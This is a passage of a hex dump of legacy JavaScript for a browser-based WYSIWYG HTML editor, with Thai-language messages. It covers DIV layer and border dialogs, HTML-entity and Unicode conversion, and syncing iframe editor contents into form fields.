78 2B 37 2C 6C 65 6E 78 29 0D 0A 20 20 20 20 69 6E 64 65 78 3D 73 74 72
31 2E 69 6E 64 65 78 4F 66 28 27 3C 2F 46 4F 52 4D 3E 27 29 0D 0A 20 20
7D 0D 0A 20 20 72 65 74 75 72 6E 20 73 74 72 31 0D 0A 7D 0D 0A 0D 0A 0D
0A 66 75 6E 63 74 69 6F 6E 20 69 6E 73 65 72 74 44 69 76 4C 61 79 65 72
28 29 0D 0A 7B 0D 0A 20 20 76 61 72 20 6F 62 6A 46 3D 64 6F 63 75 6D 65
6E 74 2E 66 72 61 6D 65 73 5B 66 49 44 5D 3B 0D 0A 20 20 69 66 28 21 6F
62 6A 46 29 7B 61 6C 65 72 74 28 27 50 6C 65 61 73 65 20 63 6C 69 63 6B
20 74 6F 20 73 65 6C 65 63 74 20 74 68 65 20 65 64 69 74 6F 72 27 29 3B
72 65 74 75 72 6E 7D 0D 0A 20 20 6F 62 6A 46 2E 66 6F 63 75 73 28 29 0D
0A 20 20 0D 0A 20 20 76 61 72 20 73 65 6C 20 3D 20 6F 62 6A 46 2E 64 6F
63 75 6D 65 6E 74 2E 73 65 6C 65 63 74 69 6F 6E 3B 0D 0A 20 20 69 66 20
28 73 65 6C 3D 3D 6E 75 6C 6C 29 20 72 65 74 75 72 6E 0D 0A 0D 0A 20 20
76 61 72 20 52 61 6E 67 65 20 3D 20 73 65 6C 2E 63 72 65 61 74 65 52 61
6E 67 65 28 29 3B 0D 0A 20 20 76 61 72 20 77 72 64 3D 27 27 20 3B 0D 0A
0D 0A 20 20 69 66 28 73 65 6C 2E 74 79 70 65 21 3D 22 43 6F 6E 74 72 6F
6C 22 29 0D 0A 20 20 7B 0D 0A 20 20 09 69 66 28 21 52 61 6E 67 65 2E 64
75 70 6C 69 63 61 74 65 29 20 72 65 74 75 72 6E 3B 0D 0A 20 20 09 6F 62
6A 46 2E 63 75 72 77 6F 72 64 3D 52 61 6E 67 65 2E 64 75 70 6C 69 63 61
74 65 28 29 3B 0D 0A 20 20 09 77 72 64 3D 20 6F 62 6A 46 2E 63 75 72 77
6F 72 64 2E 74 65 78 74 3B 0D 0A 09 69 66 28 77 72 64 3D 3D 27 27 29 20
77 72 64 3D 22 A1 C3 D8 B3 D2 B4 D1 BA E0 BA D4 E9 C5 A4 D4 C5 A1 B7 D5
E8 A1 C5 E8 CD A7 A2 E9 CD A4 C7 D2 C1 E0 BE D7 E8 CD BE D4 C1 BE EC A2
E9 CD A4 C7 D2 C1 20 E1 C5 D0 A9 D1 B9 CA D2 C1 D2 C3 B6 AA E8 C7 C2 A4
D8 B3 CA C3 E9 D2 A7 CB B9 E9 D2 A2 E8 D2 C7 A2 CD A7 A4 D8 B3 E3 CB E9
B9 E8 D2 CA B9 E3 A8 E4 B4 E9 20 20 E0 A4 C3 D7 E8 CD A7 C1 D7 CD B7 D5
E8 C1 D5 CD C2 D9 E8 CA D2 C1 D2 C3 B6 AA E8 C7 C2 E3 CB E9 A4 D8 B3 B5
BA E1 B5 E8 A7 A1 C5 E8 CD A7 A2 E9 CD A4 C7 D2 C1 B9 D5 E9 E3 CB E9 B4
D9 B4 D5 E4 B4 E9 B5 D1 C7 B5 D1 C7 A4 D8 B3 E0 CD A7 20 CB D2 A1 A4 D8
B3 CA B9 E3 A8 C5 CD A7 C1 CD A7 BB D8 E8 C1 CA D5 E8 BF E9 D2 20 33 20
BB D8 E8 C1 E3 B9 E0 B9 C7 D4 E0 A1 E0 B5 CD C3 EC BA D2 C3 EC B4 E9 D2
B9 C5 E8 D2 A7 E1 C5 E9 C7 C5 CD A7 E3 AA E9 20 E1 B5 E8 CD C2 E8 D2 C5
D7 C1 E0 C5 D7 CD A1 A1 C5 E8 CD A7 A2 E9 CD A4 C7 D2 C1 A1 E8 CD B9 B7
D3 C5 E8 D0 22 0D 0A 09 76 61 72 20 61 72 72 3D 20 22 3C 44 49 56 20 73
74 79 6C 65 3D 27 70 6F 73 69 74 69 6F 6E 3A 72 65 6C 61 74 69 76 65 3B
20 77 69 64 74 68 3A 31 35 30 70 78 3B 20 68 65 69 67 68 74 3A 31 30 30
70 78 3B 20 66 6F 6E 74 2D 66 61 6D 69 6C 79 3A 54 61 68 6F 6D 61 3B 20
66 6F 6E 74 2D 73 69 7A 65 3A 31 32 70 78 3B 20 62 61 63 6B 67 72 6F 75
6E 64 2D 63 6F 6C 6F 72 3A 23 66 30 66 64 64 30 3B 20 62 6F 72 64 65 72
3A 31 20 73 6F 6C 69 64 27 3E 22 2B 20 77 72 64 20 2B 20 22 3C 2F 44 49
56 3E 22 20 3B 0D 0A 09 52 61 6E 67 65 2E 70 61 73 74 65 48 54 4D 4C 28
61 72 72 29 3B 0D 0A 09 72 65 74 75 72 6E 0D 0A 20 20 7D 20 20 0D 0A 0D
0A 20 20 69 66 28 52 61 6E 67 65 28 30 29 2E 74 61 67 4E 61 6D 65 21 3D
27 44 49 56 27 29 20 72 65 74 75 72 6E 0D 0A 0D 0A 20 20 76 61 72 20 75
72 6C 78 3D 20 51 42 50 41 54 48 20 2B 20 27 2F 64 69 76 73 74 79 6C 65
2E 68 74 6D 6C 27 0D 0A 0D 0A 20 20 76 61 72 20 74 77 69 64 74 68 3D 20
30 2E 38 2A 73 63 72 65 65 6E 2E 77 69 64 74 68 2C 20 74 68 65 69 67 68
74 3D 31 39 30 3B 0D 0A 20 20 76 61 72 20 74 70 6F 73 78 3D 20 28 73 63
72 65 65 6E 2E 77 69 64 74 68 2D 20 74 77 69 64 74 68 29 2F 32 0D 0A 20
20 76 61 72 20 74 70 6F 73 79 3D 20 73 63 72 65 65 6E 2E 68 65 69 67 68
74 2D 20 74 68 65 69 67 68 74 20 2D 20 35 35 0D 0A 20 20 09 20 20 20 20
09 20 20 0D 0A 20 20 76 61 72 20 6E 65 77 57 69 6E 31 3D 77 69 6E 64 6F
77 2E 6F 70 65 6E 28 75 72 6C 78 2C 22 64 69 76 73 74 79 6C 65 22 2C 22
74 6F 6F 6C 62 61 72 3D 6E 6F 2C 77 69 64 74 68 3D 22 2B 20 74 77 69 64
74 68 2B 22 2C 68 65 69 67 68 74 3D 22 2B 20 74 68 65 69 67 68 74 2B 20
22 2C 64 69 72 65 63 74 6F 72 69 65 73 3D 6E 6F 2C 73 74 61 74 75 73 3D
6E 6F 2C 73 63 72 6F 6C 6C 62 61 72 73 3D 79 65 73 2C 72 65 73 69 7A 61
62 6C 65 3D 6E 6F 2C 20 6D 65 6E 75 62 61 72 3D 6E 6F 22 29 0D 0A 20 20
6E 65 77 57 69 6E 31 2E 6D 6F 76 65 54 6F 28 74 70 6F 73 78 2C 74 70 6F
73 79 29 3B 0D 0A 20 20 6E 65 77 57 69 6E 31 2E 66 6F 63 75 73 28 29 0D
0A 0D 0A 7D 0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 65 64 69 74 44
69 76 42 6F 72 64 65 72 28 29 0D 0A 7B 0D 0A 20 20 76 61 72 20 6F 62 6A
46 3D 64 6F 63 75 6D 65 6E 74 2E 66 72 61 6D 65 73 5B 66 49 44 5D 3B 0D
0A 20 20 69 66 28 21 6F 62 6A 46 29 7B 61 6C 65 72 74 28 27 50 6C 65 61
73 65 20 63 6C 69 63 6B 20 74 6F 20 73 65 6C 65 63 74 20 74 68 65 20 65
64 69 74 6F 72 27 29 3B 72 65 74 75 72 6E 7D 0D 0A 20 20 6F 62 6A 46 2E
66 6F 63 75 73 28 29 0D 0A 20 20 0D 0A 20 20 76 61 72 20 73 65 6C 20 3D
20 6F 62 6A 46 2E 64 6F 63 75 6D 65 6E 74 2E 73 65 6C 65 63 74 69 6F 6E
3B 0D 0A 20 20 69 66 20 28 73 65 6C 3D 3D 6E 75 6C 6C 20 7C 7C 20 73 65
6C 2E 74 79 70 65 21 3D 27 43 6F 6E 74 72 6F 6C 27 29 20 7B 61 6C 65 72
74 28 27 A1 C3 D8 B3 D2 E0 C5 D7 CD A1 A1 C5 E8 CD A7 A2 E9 CD A4 C7 D2
C1 B7 D5 E8 B5 E9 CD A7 A1 D2 C3 B5 BA E1 B5 E8 A7 27 29 3B 72 65 74 75
72 6E 7D 20 0D 0A 0D 0A 20 20 76 61 72 20 52 61 6E 67 65 20 3D 20 73 65
6C 2E 63 72 65 61 74 65 52 61 6E 67 65 28 29 3B 0D 0A 20 20 69 66 28 52
61 6E 67 65 28 30 29 2E 74 61 67 4E 61 6D 65 21 3D 27 44 49 56 27 29 20
72 65 74 75 72 6E 0D 0A 0D 0A 20 20 76 61 72 20 75 72 6C 78 3D 20 51 42
50 41 54 48 20 2B 20 27 2F 64 69 76 62 6F 72 64 65 72 2E 68 74 6D 6C 27
0D 0A 0D 0A 20 20 76 61 72 20 74 77 69 64 74 68 3D 20 30 2E 38 2A 73 63
72 65 65 6E 2E 77 69 64 74 68 2C 20 74 68 65 69 67 68 74 3D 32 31 35 3B
0D 0A 20 20 76 61 72 20 74 70 6F 73 78 3D 20 28 73 63 72 65 65 6E 2E 77
69 64 74 68 2D 20 74 77 69 64 74 68 29 2F 32 0D 0A 20 20 76 61 72 20 74
70 6F 73 79 3D 20 73 63 72 65 65 6E 2E 68 65 69 67 68 74 2D 20 74 68 65
69 67 68 74 20 2D 20 35 35 0D 0A 20 20 09 20 20 20 20 09 20 20 0D 0A 20
20 76 61 72 20 6E 65 77 57 69 6E 31 3D 77 69 6E 64 6F 77 2E 6F 70 65 6E
28 75 72 6C 78 2C 22 64 69 76 62 6F 72 64 65 72 22 2C 22 74 6F 6F 6C 62
61 72 3D 6E 6F 2C 77 69 64 74 68 3D 22 2B 20 74 77 69 64 74 68 2B 22 2C
68 65 69 67 68 74 3D 22 2B 20 74 68 65 69 67 68 74 2B 20 22 2C 64 69 72
65 63 74 6F 72 69 65 73 3D 6E 6F 2C 73 74 61 74 75 73 3D 6E 6F 2C 73 63
72 6F 6C 6C 62 61 72 73 3D 79 65 73 2C 72 65 73 69 7A 61 62 6C 65 3D 6E
6F 2C 20 6D 65 6E 75 62 61 72 3D 6E 6F 22 29 0D 0A 20 20 6E 65 77 57 69
6E 31 2E 6D 6F 76 65 54 6F 28 74 70 6F 73 78 2C 74 70 6F 73 79 29 3B 0D
0A 20 20 6E 65 77 57 69 6E 31 2E 66 6F 63 75 73 28 29 0D 0A 0D 0A 7D 0D
0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 65 64 69 74 44 69 76 46 69 6C
74 65 72 28 29 0D 0A 7B 0D 0A 20 20 76 61 72 20 6F 62 6A 46 3D 64 6F 63
75 6D 65 6E 74 2E 66 72 61 6D 65 73 5B 66 49 44 5D 3B 0D 0A 20 20 69 66
28 21 6F 62 6A 46 29 7B 61 6C 65 72 74 28 27 50 6C 65 61 73 65 20 63 6C
69 63 6B 20 74 6F 20 73 65 6C 65 63 74 20 74 68 65 20 65 64 69 74 6F 72
27 29 3B 72 65 74 75 72 6E 7D 0D 0A 20 20 6F 62 6A 46 2E 66 6F 63 75 73
28 29 0D 0A 0D 0A 20 20 76 61 72 20 73 65 6C 20 3D 20 6F 62 6A 46 2E 64
6F 63 75 6D 65 6E 74 2E 73 65 6C 65 63 74 69 6F 6E 3B 0D 0A 20 20 69 66
20 28 73 65 6C 3D 3D 6E 75 6C 6C 20 7C 7C 20 73 65 6C 2E 74 79 70 65 21
3D 27 43 6F 6E 74 72 6F 6C 27 29 20 7B 61 6C 65 72 74 28 27 A1 C3 D8 B3
D2 E0 C5 D7 CD A1 A1 C5 E8 CD A7 A2 E9 CD A4 C7 D2 C1 B7 D5 E8 B5 E9 CD
A7 A1 D2 C3 B5 BA E1 B5 E8 A7 27 29 3B 72 65 74 75 72 6E 7D 20 0D 0A 0D
0A 20 20 76 61 72 20 52 61 6E 67 65 20 3D 20 73 65 6C 2E 63 72 65 61 74
65 52 61 6E 67 65 28 29 3B 0D 0A 20 20 69 66 28 52 61 6E 67 65 28 30 29
2E 74 61 67 4E 61 6D 65 21 3D 27 44 49 56 27 29 20 72 65 74 75 72 6E 0D
0A 0D 0A 20 20 76 61 72 20 75 72 6C 78 3D 20 51 42 50 41 54 48 20 2B 20
27 2F 64 69 76 66 69 6C 74 65 72 2E 68 74 6D 6C 27 0D 0A 0D 0A 20 20 76
61 72 20 74 77 69 64 74 68 3D 20 30 2E 38 2A 73 63 72 65 65 6E 2E 77 69
64 74 68 2C 20 74 68 65 69 67 68 74 3D 32 31 30 3B 0D 0A 20 20 76 61 72
20 74 70 6F 73 78 3D 20 28 73 63 72 65 65 6E 2E 77 69 64 74 68 2D 20 74
77 69 64 74 68 29 2F 32 0D 0A 20 20 76 61 72 20 74 70 6F 73 79 3D 20 73
63 72 65 65 6E 2E 68 65 69 67 68 74 2D 20 74 68 65 69 67 68 74 20 2D 20
35 35 0D 0A 20 20 09 20 20 20 20 09 20 20 0D 0A 20 20 76 61 72 20 6E 65
77 57 69 6E 31 3D 77 69 6E 64 6F 77 2E 6F 70 65 6E 28 75 72 6C 78 2C 22
64 69 76 66 69 6C 74 65 72 22 2C 22 74 6F 6F 6C 62 61 72 3D 6E 6F 2C 77
69 64 74 68 3D 22 2B 20 74 77 69 64 74 68 2B 22 2C 68 65 69 67 68 74 3D
22 2B 20 74 68 65 69 67 68 74 2B 20 22 2C 64 69 72 65 63 74 6F 72 69 65
73 3D 6E 6F 2C 73 74 61 74 75 73 3D 6E 6F 2C 73 63 72 6F 6C 6C 62 61 72
73 3D 79 65 73 2C 72 65 73 69 7A 61 62 6C 65 3D 6E 6F 2C 20 6D 65 6E 75
62 61 72 3D 6E 6F 22 29 0D 0A 20 20 6E 65 77 57 69 6E 31 2E 6D 6F 76 65
54 6F 28 74 70 6F 73 78 2C 74 70 6F 73 79 29 3B 0D 0A 20 20 6E 65 77 57
69 6E 31 2E 66 6F 63 75 73 28 29 0D 0A 0D 0A 7D 0D 0A 0D 0A 0D 0A 0D 0A
2F 2A 2A 2A 2A 20 46 72 6F 6D 20 48 74 6D 6C 2D 43 6F 64 65 20 74 6F 20
55 4E 49 43 4F 44 45 20 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2F 0D 0A 66 75
6E 63 74 69 6F 6E 20 20 76 69 65 77 49 53 4F 43 6F 64 65 28 73 74 72 31
29 0D 0A 7B 0D 0A 20 76 61 72 20 63 30 2C 20 73 74 72 32 3D 27 27 2C 20
73 74 72 78 3D 27 27 2C 20 69 64 78 3B 0D 0A 20 0D 0A 20 69 64 78 3D 73
74 72 31 2E 69 6E 64 65 78 4F 66 28 27 26 23 27 29 0D 0A 20 69 66 28 69
64 78 3C 30 29 20 72 65 74 75 72 6E 20 73 74 72 31 0D 0A 20 76 61 72 20
69 3D 30 0D 0A 20 77 68 69 6C 65 20 28 69 3C 73 74 72 31 2E 6C 65 6E 67
74 68 29 0D 0A 20 20 7B 0D 0A 20 20 20 20 63 30 3D 73 74 72 31 2E 73 75
62 73 74 72 69 6E 67 28 69 2C 69 2B 32 29 0D 0A 20 20 20 20 69 2B 2B 0D
0A 20 20 20 20 69 66 28 63 30 20 21 3D 27 26 23 27 29 20 63 6F 6E 74 69
6E 75 65 0D 0A 20 20 20 20 73 74 72 78 20 20 2B 3D 73 74 72 31 2E 73 75
62 73 74 72 69 6E 67 28 30 2C 69 2D 31 29 0D 0A 20 20 20 20 73 74 72 31
3D 73 74 72 31 2E 73 75 62 73 74 72 69 6E 67 28 69 2D 31 2C 73 74 72 31
2E 6C 65 6E 67 74 68 29 0D 0A 20 20 20 20 69 64 78 3D 73 74 72 31 2E 69
6E 64 65 78 4F 66 28 27 3B 27 29 0D 0A 20 20 20 20 69 66 28 69 64 78 20
3C 30 29 20 62 72 65 61 6B 3B 0D 0A 20 20 20 20 73 74 72 32 3D 73 74 72
31 2E 73 75 62 73 74 72 69 6E 67 28 32 2C 69 64 78 29 0D 0A 20 20 20 20
73 74 72 32 2B 2B 3B 73 74 72 32 2D 2D 0D 0A 20 20 20 20 73 74 72 31 3D
73 74 72 31 2E 73 75 62 73 74 72 69 6E 67 28 69 64 78 2B 31 2C 73 74 72
31 2E 6C 65 6E 67 74 68 29 0D 0A 20 20 20 20 73 74 72 78 20 2B 3D 53 74
72 69 6E 67 2E 66 72 6F 6D 43 68 61 72 43 6F 64 65 28 73 74 72 32 29 0D
0A 20 20 20 20 69 3D 30 0D 0A 20 20 7D 0D 0A 20 72 65 74 75 72 6E 20 73
74 72 78 2B 73 74 72 31 3B 0D 0A 7D 0D 0A 0D 0A 0D 0A 0D 0A 66 75 6E 63
74 69 6F 6E 20 61 63 74 75 61 6C 69 7A 65 28 29 0D 0A 7B 0D 0A 20 20 76
61 72 20 69 3D 30 3B 0D 0A 20 20 77 68 69 6C 65 28 64 6F 63 75 6D 65 6E
74 2E 61 6C 6C 2E 74 61 67 73 28 27 69 66 72 61 6D 65 27 29 5B 69 5D 29
0D 0A 20 20 7B 20 0D 0A 09 73 65 74 48 69 64 64 65 6E 56 61 6C 75 65 28
64 6F 63 75 6D 65 6E 74 2E 61 6C 6C 2E 74 61 67 73 28 27 69 66 72 61 6D
65 27 29 5B 69 5D 2E 69 64 29 20 0D 0A 09 69 2B 2B 0D 0A 20 20 7D 0D 0A
7D 0D 0A 0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 73 65 74 48 69 64
64 65 6E 56 61 6C 75 65 28 66 69 64 29 0D 0A 7B 20 0D 0A 20 69 66 28 21
66 69 64 29 20 72 65 74 75 72 6E 0D 0A 0D 0A 20 76 61 72 20 73 74 72 78
3D 20 65 64 69 74 6F 72 43 6F 6E 74 65 6E 74 73 28 66 69 64 29 0D 0A 20
76 61 72 20 69 64 41 3D 20 66 69 64 2E 73 70 6C 69 74 28 27 56 44 65 76
49 44 27 29 0D 0A 20 69 66 28 21 69 64 41 5B 30 5D 29 20 72 65 74 75 72
6E 3B 0D 0A 0D 0A 20 76 61 72 20 66 6F 62 6A 3D 20 64 6F 63 75 6D 65 6E
74 2E 66 6F 72 6D 73 5B 69 64 41 5B 30 5D 5D 0D 0A 20 69 66 28 21 66 6F
62 6A 29 20 72 65 74 75 72 6E 3B 0D 0A 0D 0A 20 65 76 61 6C 28 22 64 6F
63 75 6D 65 6E 74 2E 66 6F 72 6D 73 5B 69 64 41 5B 30 5D 5D 2E 22 20 2B
69 64 41 5B 31 5D 20 2B 20 22 2E 76 61 6C 75 65 3D 27 22 2B 20 73 74 72
78 20 2B 22 27 22 29 0D 0A 7D 09 0D 0A 0D 0A 0D 0A 0D 0A 66 75 6E 63 74
69 6F 6E 20 65 64 69 74 6F 72 43 6F 6E 74 65 6E 74 73 28 66 72 61 6D 65
49 44 29 0D 0A 7B 0D 0A 20 20 76 61 72 20 6F 62 6A 46 3D 64 6F 63 75 6D
65 6E 74 2E 66 72 61 6D 65 73 5B 66 72 61 6D 65 49 44 5D 0D 0A 20 20 69
66 28 21 6F 62 6A 46 29 72 65 74 75 72 6E 0D 0A 0D 0A 20 20 76 61 72 20
73 74 72 78 3B 0D 0A 20 20 69 66 28 66 6F 72 6D 61 74 5B 66 72 61 6D 65
49 44 5D 3D 3D 22 48 54 4D 4C 22 29 20 73 74 72 78 3D 6F 62 6A 46 2E 64
6F 63 75 6D 65 6E 74 2E 62 6F 64 79 2E 69 6E 6E 65 72 48 54 4D 4C 0D 0A
20 20 65 6C 73 65 20 73 74 72 78 3D 6F 62 6A 46 2E 64 6F 63 75 6D 65 6E
74 2E 62 6F 64 79 2E 69 6E 6E 65 72 54 65 78 74 0D 0A 0D 0A 20 20 73 74
72 78 20 3D 20 73 74 72 78 2E 72 65 70 6C 61 63 65 28 2F 5C 72 2F 67 2C
20 22 22 29 3B 20 0D 0A 20 20 73 74 72 78 20 3D 20 73 74 72 78 2E 72 65
70 6C 61 63 65 28 2F 5C 6E 2F 67 2C 20 22 22 29 3B 20 0D 0A 20 20 73 74
72 78 20 3D 20 73 74 72 78 2E 72 65 70 6C 61 63 65 28 2F 5C 27 2F 67 2C
22 26 23 33 39 3B 22 29 0D 0A 0D 0A 20 20 2F 2F 20 53 65 63 75 72 69 74
79 0D 0A 20 20 69 66 28 53 45 43 55 52 45 3D 3D 31 29 0D 0A 09 7B 0D 0A
09 20 20 73 74 72 78 20 3D 20 73 74 72 78 2E 72 65 70 6C 61 63 65 28 2F
20 6F 6E 2F 69 67 2C 20 22 20 6F 26 73 68 79 3B 6E 22 29 3B 20 0D 0A 09
20 20 73 74 72 78 20 3D 20 73 74 72 78 2E 72 65 70 6C 61 63 65 28 2F 73
63 72 69 70 74 3A 2F 69 67 2C 20 22 73 63 72 69 70 74 26 73 68 79 3B 3A
22 29 3B 20 0D 0A 20 20 20 20 7D 0D 0A 0D 0A 20 20 72 65 74 75 72 6E 20
73 74 72 78 0D 0A 7D 0D 0A 0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20
64 6F 4D 6F 75 73 65 75 70 28 29 0D 0A 7B 0D 0A 20 76 61 72 20 65 6C 3D
65 76 65 6E 74 2E 73 72 63 45 6C 65 6D 65 6E 74 20 0D 0A 20 69 66 28 21
65 6C 2E 74 79 70 65 29 20 72 65 74 75 72 6E 0D 0A 0D 0A 20 69 66 28 65
6C 2E 74 79 70 65 21 3D 27 74 65 78 74 27 26 26 65 6C 2E 74 79 70 65 21
3D 27 74 65 78 74 61 72 65 61 27 29 0D 0A 20 20 7B 0D 0A 09 69 66 28 21
65 6C 2E 6E 61 6D 65 20 7C 7C 20 65 6C 2E 6E 61 6D 65 2E 73 75 62 73 74
72 69 6E 67 28 30 2C 37 29 21 3D 27 51 42 43 4E 54 52 4C 27 29 20 61 63
74 75 61 6C 69 7A 65 28 29 3B 0D 0A 20 20 20 20 72 65 74 75 72 6E 0D 0A
20 20 7D 0D 0A 0D 0A 20 76 61 72 20 76 69 73 75 61 6C 3D 27 27 0D 0A 20
69 66 28 65 6C 2E 74 79 70 65 3D 3D 27 74 65 78 74 61 72 65 61 27 20 26
26 20 56 49 53 55 41 4C 3D 3D 30 29 20 76 69 73 75 61 6C 3D 63 6F 6E 66
69 72 6D 28 22 55 73 65 20 56 69 73 75 61 6C 20 4D 6F 64 65 20 3F 22 29
0D 0A 20 09 20 0D 0A 20 69 66 28 76 69 73 75 61 6C 29 20 63 68 61 6E 67
65 74 6F 49 66 72 61 6D 65 45 64 69 74 6F 72 28 65 6C 29 3B 0D 0A 0D 0A
7D 0D 0A 0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 64 6F 4D 6F 75 73
65 64 6F 77 6E 28 29 0D 0A 7B 0D 0A 20 20 76 61 72 20 65 6C 3D 65 76 65
6E 74 2E 73 72 63 45 6C 65 6D 65 6E 74 20 0D 0A 20 20 69 66 28 21 65 6C
2E 74 79 70 65 20 7C 7C 20 28 65 6C 2E 74 79 70 65 21 3D 27 74 65 78 74
27 26 26 65 6C 2E 74 79 70 65 21 3D 27 74 65 78 74 61 72 65 61 27 29 29
20 72 65 74 75 72 6E 0D 0A 20 20 69 66 28 20 65 6C 2E 74 79 70 65 3D 3D
27 74 65 78 74 27 20 7C 7C 20 65 6C 2E 74 79 70 65 3D 3D 27 74 65 78 74
61 72 65 61 27 29 7B 20 54 58 54 4F 42 4A 3D 65 6C 3B 20 66 49 44 3D 27
27 20 7D 0D 0A 0D 0A 20 20 69 66 28 65 76 65 6E 74 2E 62 75 74 74 6F 6E
3D 3D 32 29 20 66 6F 72 6D 61 74 44 69 61 6C 6F 67 28 65 6C 29 0D 0A 7D
0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 64 6F 46 6F 72 6D 61 74 28
61 72 72 2C 63 61 72 65 74 29 0D 0A 7B 0D 0A 20 20 76 61 72 20 77 72 64
3D 54 58 54 4F 42 4A 2E 63 75 72 77 6F 72 64 2E 74 65 78 74 0D 0A 0D 0A
20 20 76 61 72 20 63 6D 64 20 3D 20 6E 65 77 20 41 72 72 61 79 28 29 3B
0D 0A 20 20 63 6D 64 20 3D 20 61 72 72 2E 73 70 6C 69 74 28 27 2C 27 29
0D 0A 0D 0A 20 20 69 66 28 21 63 6D 64 5B 30 5D 20 7C 7C 20 63 6D 64 5B
30 5D 3D 3D 27 53 77 61 70 5B 54 65 78 74 2F 48 54 4D 4C 5D 27 20 7C 7C
20 63 6D 64 5B 30 5D 3D 3D 27 53 77 61 70 5B 55 6E 69 2F 56 69 65 77 5D
27 20 29 20 72 65 74 75 72 6E 20 0D 0A 20 20 69 66 28 63 6D 64 5B 30 5D
3D 3D 27 53 65 6C 65 63 74 41 6C 6C 27 29 20 7B 20 54 58 54 4F 42 4A 2E
66 6F 63 75 73 28 29 3B 20 54 58 54 4F 42 4A 2E 73 65 6C 65 63 74 28 29
3B 20 72 65 74 75 72 6E 20 7D 0D 0A 20 20 69 66 28 63 6D 64 5B 30 5D 3D
3D 27 43 75 74 27 29 20 7B 20 63 61 72 65 74 2E 65 78 65 63 43 6F 6D 6D
61 6E 64 28 22 43 75 74 22 29 3B 20 72 65 74 75 72 6E 20 7D 0D 0A 20 20
69 66 28 63 6D 64 5B 30 5D 3D 3D 27 43 6F 70 79 27 29 20 7B 20 63 61 72
65 74 2E 65 78 65 63 43 6F 6D 6D 61 6E 64 28 22 43 6F 70 79 22 29 3B 20
72 65 74 75 72 6E 20 7D 0D 0A 20 20 69 66 28 63 6D 64 5B 30 5D 3D 3D 27
50 61 73 74 65 27 29 20 7B 20 63 61 72 65 74 2E 65 78 65 63 43 6F 6D 6D
61 6E 64 28 22 50 61 73 74 65 22 29 3B 20 72 65 74 75 72 6E 20 7D 0D 0A
0D 0A 20 20 54 58 54 4F 42 4A 2E 63 75 72 77 6F 72 64 3D 63 61 72 65 74
2E 64 75 70 6C 69 63 61 74 65 28 29 3B 0D 0A 20 20 54 58 54 4F 42 4A 2E
63 75 72 77 6F 72 64 2E 74 65 78 74 3D 20 63 6D 64 5B 30 5D 2B 77 72 64
2B 63 6D 64 5B 31 5D 0D 0A 7D 0D 0A 0D 0A 2F 2A 0D 0A 66 75 6E 63 74 69
6F 6E 20 66 6F 72 6D 61 74 44 69 61 6C 6F 67 28 29 0D 0A 7B 0D 0A 20 20
54 58 54 4F 42 4A 2E 66 6F 63 75 73 28 29 3B 0D 0A 20 20 76 61 72 20 63
61 72 65 74 3D 54 58 54 4F 42 4A 2E 64 6F 63 75 6D 65 6E 74 2E 73 65 6C
65 63 74 69 6F 6E 2E 63 72 65 61 74 65 52 61 6E 67 65 28 29 0D 0A 20 20
54 58 54 4F 42 4A 2E 63 75 72 77 6F 72 64 3D 63 61 72 65 74 2E 64 75 70
6C 69 63 61 74 65 28 29 3B 0D 0A 0D 0A 20 20 76 61 72 20 79 20 3D 20 73
63 72 65 65 6E 2E 68 65 69 67 68 74 20 2D 70 61 72 73 65 49 6E 74 28 27
32 37 65 6D 27 29 2A 31 34 20 2D 20 33 30 20 0D 0A 20 20 76 61 72 20 66
65 61 74 75 72 65 20 3D 20 22 66 6F 6E 74 2D 66 61 6D 69 6C 79 3A 41 72
69 61 6C 3B 66 6F 6E 74 2D 73 69 7A 65 3A 31 30 70 74 3B 64 69 61 6C 6F
67 57 69 64 74 68 3A 33 30 65 6D 3B 64 69 61 6C 6F 67 48 65 69 67 68 74
3A 32 37 65 6D 3B 64 69 61 6C 6F 67 54 6F 70 3A 22 2B 79 0D 0A 20 20 20
20 20 20 66 65 61 74 75 72 65 2B 3D 20 22 3B 65 64 67 65 3A 73 75 6E 6B
65 6E 3B 68 65 6C 70 3A 6E 6F 3B 73 74 61 74 75 73 3A 6E 6F 22 0D 0A 0D
0A 20 20 76 61 72 20 64 69 61 6C 6F 67 3D 20 51 42 50 41 54 48 2B 27 2F
64 69 61 6C 6F 67 2E 68 74 6D 6C 27 0D 0A 20 20 76 61 72 20 61 72 72 3D
20 73 68 6F 77 4D 6F 64 61 6C 44 69 61 6C 6F 67 28 64 69 61 6C 6F 67 2C
20 22 22 2C 20 66 65 61 74 75 72 65 29 3B 0D 0A 20 20 69 66 28 61 72 72
3D 3D 6E 75 6C 6C 29 20 72 65 74 75 72 6E 20 3B 0D 0A 0D 0A 20 20 64 6F
46 6F 72 6D 61 74 28 61 72 72 2C 63 61 72 65 74 29 0D 0A 0D 0A 7D 2A 2F
0D 0A 0D 0A 0D 0A 0D 0A 66 75 6E 63 74 69 6F 6E 20 20 74 6F 55 6E 69 63
6F 64 65 28 73 74 72 31 29 0D 0A 7B 0D 0A 20 20 76 61 72 20 63 6F 64 65
2C 20 73 74 72 32 20 2C 20 6A 3D 30 3B 0D 0A 20 20 76 61 72 20 6C 65 6E
0D 0A 20 20 77 68 69 6C 65 28 6A 3C 32 29 0D 0A 20 20 20 7B 0D 0A 09 6C
65 6E 3D 73 74 72 31 2E 6C 65 6E 67 74 68 0D 0A 09 73 74 72 32 3D 27 27
0D 0A 09 66 6F 72 28 76 61 72 20 69 3D 30 3B 69 3C 6C 65 6E 3B 69 2B 2B
29 20 0D 0A 09 20 7B 0D 0A 20 20 20 20 20 20 63 6F 64 65 3D 73 74 72 31
2E 63 68 61 72 43 6F 64 65 41 74 28 69 29 3B 0D 0A 20 20 20 20 20 20 69
66 28 63 6F 64 65 3C 31 32 38 29 20 63 6F 6E 74 69 6E 75 65 3B 0D 0A 20
20 20 20 20 20 73 74 72 32 20 2B 3D 73 74 72 31 2E 73 75 62 73 74 72 69
6E 67 28 30 2C 69 29 20 2B 20 27 26 23 27 20 2B 20 63 6F 64 65 20 2B 20
27 3B 27 0D 0A 20 20 20 20 20 20 73 74 72 31 3D 73 74 72 31 2E 73 75 62
73 74 72 69 6E 67 28 69 2B 31 2C 73 74 72 31 2E 6C 65 6E 67 74 68 29 0D
